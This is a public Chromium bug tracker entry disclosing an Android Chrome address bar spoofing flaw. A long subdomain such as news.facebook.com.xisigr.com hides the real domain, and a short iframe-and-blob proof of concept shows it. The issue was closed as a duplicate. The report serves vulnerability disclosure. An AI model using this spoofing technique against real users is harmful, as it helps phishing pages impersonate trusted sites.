New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 723355 link

Starred by 3 users

Issue metadata

Status: Duplicate
Merged: issue 705778
Owner: ----
Closed: May 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security
Team-Security-UX



Sign in to add a comment

Security: Address Bar URL Spoofing With Multilevel Domain Name

Reported by xis...@gmail.com, May 17 2017

Issue description

VULNERABILITY DETAILS
I think this Bug might be different from  issue 646278  and issue 721184. In Android phones, the Chrome address bar has limited visual display space, and an attacker can target a multi-level domain name, such as news.facebook.com.xisigr.com. When the user opens, the spoof domain name(news.facebook.com) will appear in the address bar, and the real domain name (xisigr.com) will be hidden . Of course, the length of the spoof domain name is limited by the size of the user's phone screen, but in targeted attacks, this domain name spoofing is feasible.

VERSION
Chrome Version: [58.0.3029.83] + [stable]
Operating System: [Android]

REPRODUCTION CASE

This POC is written on the basis of my test phone screen size, just to prove the feasibility of the attack.

(1) Open http://xisigr.com/test/spoof/chrome/blob_click.html in Android Chrome 

----blob_click.html---

<iframe src="http://news.facebook.com.xisigr.com/test/spoof/chrome/blob_3.html" frameborder="0" noresize="noresize"></iframe>

----blob_click.html---

(2) Click the button "Click me"

----blob_3.html---

<script>
var bb = function(){
      args = ['<h1>spoofing</h1>'];
      b = new Blob(args, {type: 'text/html'});
      window.open(URL.createObjectURL(b));
};
</script>
<a href="javascritp:void(0)" onclick='bb()'><h1>Click me</h1></a>

----blob_3.html---

 
blob_click.html
125 bytes View Download
blob_3.html
241 bytes View Download
spoof.png
26.5 KB View Download
spoof.m4v
6.2 MB Download
Components: UI>Security>UrlFormatting
This is effectively the same as  Issue 705778 , with the variant that the protocol is "blob" instead of HTTP/HTTPS.
Mergedinto: 705778
Status: Duplicate (was: Unconfirmed)
Project Member

Comment 3 by sheriffbot@chromium.org, Sep 23 2017

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment